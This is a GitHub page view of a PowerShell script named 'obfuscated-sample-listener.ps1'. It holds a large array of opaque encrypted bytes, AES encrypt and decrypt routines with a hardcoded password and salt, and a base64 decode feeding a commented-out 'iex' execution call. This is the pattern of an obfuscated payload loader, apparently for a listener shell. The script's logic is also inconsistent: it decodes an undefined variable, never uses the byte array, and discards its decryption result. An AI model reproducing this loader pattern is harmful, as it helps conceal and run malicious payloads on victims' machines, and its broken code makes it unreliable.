-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathobfuscated-sample-listener.ps1
162 lines (140 loc) · 10.9 KB
/
obfuscated-sample-listener.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
$e = '102 112 137 106 79 37 116 141 192 93 132 19 20 143 202 43 156 9 67 16 169 71 99 17 141 55 253 231 94 52 121 237 52 75 137 174 165 133
221 165 58 11 78 120 161 54 122 244 57 123 218 161 173 72 121 255 163 23 174 92 220 202 133 48 81 199 108 214 220 72 67 170 173 214 12
2 62 33 94 61 158 17 72 57 248 80 96 190 81 4 10 90 108 147 192 66 80 22 239 72 108 181 5 50 174 228 244 126 11 38 77 113 17 58 167 14
8 56 161 154 13 205 52 42 70 231 173 35 164 132 141 107 127 145 219 90 248 243 49 69 125 45 10 87 232 152 123 99 164 226 130 181 141 9
8 183 118 121 174 173 238 236 86 186 255 20 86 152 169 60 232 199 254 246 1 203 122 165 219 116 34 161 208 251 228 225 55 4 190 63 235
123 128 43 88 151 249 141 166 139 66 191 70 88 71 137 95 218 194 66 106 61 217 206 10 40 35 40 155 226 129 142 104 16 110 27 128 26 1
46 140 115 145 183 106 119 197 216 180 147 255 64 197 117 49 218 177 66 138 14 207 117 161 161 82 105 91 192 225 159 99 175 179 45 217
106 203 16 172 66 120 119 39 19 88 106 46 179 26 245 164 33 50 247 27 171 136 47 252 204 148 255 157 11 12 61 134 147 54 142 115 62 1
0 207 184 245 59 173 126 59 188 167 182 138 206 52 225 11 66 196 85 142 98 94 73 197 100 91 100 109 252 67 32 52 0 22 133 27 4 7 34 12
8 198 235 77 114 33 10 59 100 176 204 196 248 189 252 138 114 84 57 21 144 132 10 165 122 246 68 226 125 204 29 64 64 230 141 219 150
168 59 76 40 81 95 92 152 38 208 144 222 238 105 189 38 240 161 144 50 172 244 188 189 124 122 229 51 157 60 4 30 47 95 1 215 226 238
137 140 168 82 104 111 82 232 69 229 67 119 234 104 140 128 10 231 221 25 119 163 31 33 254 160 60 99 182 208 150 34 91 150 255 228 10
6 148 73 93 220 151 147 158 252 40 157 88 173 153 254 239 225 182 164 87 158 77 7 167 144 163 204 90 134 53 31 233 93 226 74 14 215 81
233 166 37 218 70 36 155 242 190 16 195 108 52 235 228 97 224 80 198 110 60 14 72 174 248 116 68 251 189 35 64 47 23 130 15 171 229 1
73 115 72 1 18 131 249 157 106 203 148 229 68 27 113 123 107 220 195 60 86 133 7 90 84 60 17 66 20 243 198 255 122 160 211 91 176 45 2
33 169 44 48 75 175 242 234 34 174 161 84 250 75 235 60 224 117 122 16 152 252 52 234 93 59 124 102 163 82 123 82 43 101 143 194 112 1
91 73 223 200 132 134 170 226 5 107 49 115 208 19 56 75 221 29 92 149 155 125 56 113 148 36 161 1 250 219 254 193 11 82 23 255 1 165 1
10 180 45 78 120 94 35 39 4 201 171 124 4 109 175 188 59 225 245 202 58 20 135 143 127 163 89 191 192 226 107 228 141 104 193 26 79 13
9 157 249 87 202 10 100 32 238 169 245 168 245 53 241 45 252 9 63 8 150 44 227 12 223 188 208 43 110 148 9 101 145 122 218 138 124 181
65 46 83 172 154 188 84 206 228 10 251 186 35 183 134 167 89 67 6 48 162 121 132 91 130 41 137 218 200 82 26 169 236 17 154 23 168 22
8 73 134 45 216 77 133 8 83 163 82 237 184 182 67 69 127 204 239 58 226 91 133 200 157 252 55 185 210 120 132 79 89 39 235 62 106 53 2
11 106 100 224 52 220 132 209 182 107 45 6 220 6 53 205 123 248 188 144 67 214 204 111 13 228 82 3 217 2 97 216 165 112 10 209 203 26
66 37 64 105 9 28 5 145 146 91 51 231 50 131 251 227 192 75 227 191 136 139 122 207 121 168 254 159 152 0 71 137 140 7 152 27 90 24 82
30 122 31 193 228 27 175 95 241 118 172 32 191 240 161 106 71 203 90 53 77 2 135 121 52 177 201 71 190 229 74 142 110 84 244 103 53 1
29 196 175 196 123 73 68 184 221 117 134 255 150 249 197 163 158 113 218 2 29 139 188 41 159 174 108 252 2 6 54 119 121 82 212 139 70
243 163 73 128 224 212 3 2 169 123 45 128 55 206 11 147 11 60 80 25 233 239 43 246 146 138 125 87 53 54 80 18 88 207 210 150 167 190 1
37 4 60 128 31 50 44 154 88 126 37 118 213 228 116 145 128 221 81 35 155 5 97 57 109 95 3 131 89 124 33 41 140 120 119 62 147 50 90 22
6 148 75 183 5 54 211 161 199 27 208 25 186 64 9 125 77 29 120 66 35 111 100 175 14 55 9 37 131 55 78 178 194 214 179 61 214 5 0 139 7
8 140 176 79 11 101 138 113 100 162 252 8 202 197 79 96 116 147 177 228 181 52 229 60 202 176 220 79 152 134 98 141 29 247 18 87 243 6
9 104 18 77 131 164 162 61 25 168 37 150 141 119 73 215 160 22 70 129 174 157 93 18 155 223 27 227 167 255 161 60 3 125 231 237 117 13
3 85 219 40 201 89 147 56 243 180 249 112 174 8 84 246 125 126 153 217 235 50 104 168 150 250 106 53 106 223 138 180 94 28 28 232 127
214 160 116 59 62 200 180 70 255 126 120 124 219 162 119 216 109 252 161 201 57 109 137 96 56 109 14 140 236 177 7 25 98 11 240 223 23
8 67 186 130 117 219 32 210 18 43 162 185 62 61 135 115 0 104 239 10 121 211 103 8 184 125 17 9 89 251 38 10 207 25 188 223 198 214 66
66 61 35 51 214 209 206 59 123 26 132 247 56 245 222 207 87 6 180 113 178 213 173 16 176 137 62 14 12 189 148 142 113 250 241 83 236
233 58 57 7 133 70 84 122 189 72 156 139 175 181 47 108 57 106 229 88 172 20 233 109 113 132 158 197 169 52 8 85 48 138 71 137 114 94
17 82 186 209 205 56 187 65 109 25 4 212 100 50 75 198 190 65 116 55 58 43 79 201 234 248 150 198 211 183 253 5 57 56 57 51 157 125 23
7 218 251 193 217 9 61 203 106 158 76 253 186 241 127 58 153 253 196 197 99 113 91 24 214 135 85 123 171 133 155 114 205 48 69 1 112 2
54 183 41 24 74 158 13 15 29 174 113 187 249 18 36 206 37 126 163 57 189 55 197 82 110 19 163 34 77 220 5 234 127 163 61 158 182 83 16
6 129 85 252 155 239 61 49 243 196 127 62 42 44 168 242 240 170 214 208 61 70 217 134 44 222 21 210 172 117 57 109 104 63 90 202 63 66
222 88 246 35 207 210 77 220 116 208 62 101 20 240 54 35 232 115 160 74 72 165 158 113 164 4 41 206 96 85 6 238 78 168 244 248 192 20
7 80 165 73 247 237 145 79 101 128 87 170 186 73 235 90 9 129 208 242 147 162 148 239 204 92 13 58 94 9 186 225 142 20 17 154 18 249 1
38 64 168 38 123 236 202 1 103 7 62 234 146 37 194 158 182 42 53 82 247 119 65 89 68 139 79 195 70 19 166 107 125 223 2 66 27 81 64 23
9 105 192 122 149 139 109 160 200 222 229 72 238 62 1 30 111 188 109 14 134 158 185 14 224 66 27 82 191 226 52 56 74 21 152 114 193 13
3 110 75 253 52 29 33 45 255 143 222 158 61 153 89 11 214 95 103 179 211 53 185 33 205 32 184 10 232 89 138 118 189 57 122 182 231 70
250 66 147 190 20 43 109 229 202 12 2 22 121 171 229 134 47 196 127 94 230 18 205 220 230 129 217 148 221 43 162 7 19 204 135 62 146 9
6 160 9 65 96 151 76 23 131 94 23 167 173 112 115 121 222 101 72 158 200 99 182 161 161 209 245 98 247 24 59 169 221 231 170 78 242 82
18 83 123 104 207 63 89 165 136 190 96 0 47 159 245 54 153 245 112 108 191 139 139 143 139 79 15 117 74 88 229 200 254 32 109 108 73
73 34 88 191 103 179 65 4 101 173 252 221 6 224 230 181 111 228 176 94 253 235 123 125 23 138 6 170 76 159 178 178 60 222 152 20 178 2
4 105 158 102 0 241 248 70 237 75 87 23 21 228 226 245 153 235 138 159 192 5 222 109 62 253 36 20 64 209 168 220 12 55 162 202 103 165
17 131 154 75 100 166 133 114 149 97 0 212 245 133 52 206 111 146 219 101 176 114 183 86 101 53 40 185 68 226 139 223 80 100 78 98 12
4 24 80 77 161 102 175 112 115 68 64 179 251 114 191 34 215 226 231 241 148 217 148 160 39 73 170 226 81 119 252 4 52 79 190 241 61 17
2 10 4 35 91 107 238 71 81 162 44 148 105 121 89 26 131 95 201 246 75 189 88 30 222 254 219 58 19 226 137 146 37 38 252 95 106 226 241
14 28 16 233 138 78 37 169 217 190 141 147 22 139'
function fAESEncrypt()
{
Param(
[Parameter(Mandatory=$true)][byte[]]$aBytesToBeEncrypted,
[Parameter(Mandatory=$true)][byte[]]$aPasswordBytes,
[Parameter(Mandatory=$true)][ref]$raEncryptedBytes,
[Parameter(Mandatory=$false)][byte[]]$aCustomSalt
)
[byte[]] $encryptedBytes = @()
[byte[]]$aSaltBytes = @(4,7,12,254,123,98,34,12,67,12,122,111)
if($aCustomSalt.Count -ge 1)
{
$aSaltBytes=$aCustomSalt
}
[System.IO.MemoryStream] $oMemoryStream = new-object System.IO.MemoryStream
[System.Security.Cryptography.RijndaelManaged] $oAES = new-object System.Security.Cryptography.RijndaelManaged
$oAES.KeySize = 256;
$oAES.BlockSize = 128;
[System.Security.Cryptography.Rfc2898DeriveBytes] $oKey = new-object System.Security.Cryptography.Rfc2898DeriveBytes($aPasswordBytes, $aSaltBytes, 1000);
$oAES.Key = $oKey.GetBytes($oAES.KeySize / 8);
$oAES.IV = $oKey.GetBytes($oAES.BlockSize / 8);
$oAES.Mode = [System.Security.Cryptography.CipherMode]::CBC
$oCryptoStream = new-object System.Security.Cryptography.CryptoStream($oMemoryStream, $oAES.CreateEncryptor(), [System.Security.Cryptography.CryptoStreamMode]::Write)
try
{
$oCryptoStream.Write($aBytesToBeEncrypted, 0, $aBytesToBeEncrypted.Length);
$oCryptoStream.Close();
}
catch [Exception]
{
$raEncryptedBytes.Value=[system.text.encoding]::ASCII.GetBytes("Error occured while encoding string. Salt or Password incorrect?")
return $false
}
$oEncryptedBytes = $oMemoryStream.ToArray();
$raEncryptedBytes.Value=$oEncryptedBytes;
return $true
}
function fAESDecrypt()
{
Param(
[Parameter(Mandatory=$true)][byte[]]$aBytesToDecrypt,
[Parameter(Mandatory=$true)][byte[]]$aPasswordBytes,
[Parameter(Mandatory=$true)][ref]$raDecryptedBytes,
[Parameter(Mandatory=$false)][byte[]]$aCustomSalt
)
[byte[]]$oDecryptedBytes = @();
# Salt must have at least 8 Bytes!!
# Encrypt and decrypt must use the same salt
[byte[]]$aSaltBytes = @(4,7,12,254,123,98,34,12,67,12,122,111)
if($aCustomSalt.Count -ge 1)
{
$aSaltBytes=$aCustomSalt
}
[System.IO.MemoryStream] $oMemoryStream = new-object System.IO.MemoryStream
[System.Security.Cryptography.RijndaelManaged] $oAES = new-object System.Security.Cryptography.RijndaelManaged
$oAES.KeySize = 256;
$oAES.BlockSize = 128;
[System.Security.Cryptography.Rfc2898DeriveBytes] $oKey = new-object System.Security.Cryptography.Rfc2898DeriveBytes($aPasswordBytes, $aSaltBytes, 1000);
$oAES.Key = $oKey.GetBytes($oAES.KeySize / 8);
$oAES.IV = $oKey.GetBytes($oAES.BlockSize / 8);
$oAES.Mode = [System.Security.Cryptography.CipherMode]::CBC
$oCryptoStream = new-object System.Security.Cryptography.CryptoStream($oMemoryStream, $oAES.CreateDecryptor(), [System.Security.Cryptography.CryptoStreamMode]::Write)
try
{
$oCryptoStream.Write($aBytesToDecrypt, 0, $aBytesToDecrypt.Length)
$oCryptoStream.Close()
}
catch [Exception]
{
$raDecryptedBytes.Value=[system.text.encoding]::ASCII.GetBytes("Error occured while decoding string. Salt or Password incorrect?")
return $false
}
$oDecryptedBytes = $oMemoryStream.ToArray();
$raDecryptedBytes.Value=$oDecryptedBytes
return $true
}
$aCustomSalt=@(1,2,3,4,5,6,7,9,10,11,254,253,252)
$sPassword="A Secret Password"
$sInput=$encoded
[byte[]]$aEncryptedMessage=$null
fAESEncrypt ([system.text.encoding]::ASCII.GetBytes($sInput)) ([system.text.encoding]::ASCII.GetBytes($sPassword)) ([ref]$aEncryptedMessage) $aCustomSalt
$sPassword="A Secret Password"
[byte[]]$aDecryptedMessage=$null
fAESDecrypt $aEncryptedMessage ([system.text.encoding]::ASCII.GetBytes($sPassword)) ([ref]$aDecryptedMessage) $aCustomSalt
$aDecryptedMessage = [Text.Encoding]::Utf8.GetString([Convert]::FromBase64String($encoded))
$unencoded = [Text.Encoding]::Utf8.GetString([Convert]::FromBase64String($encoded))
#iex $unencoded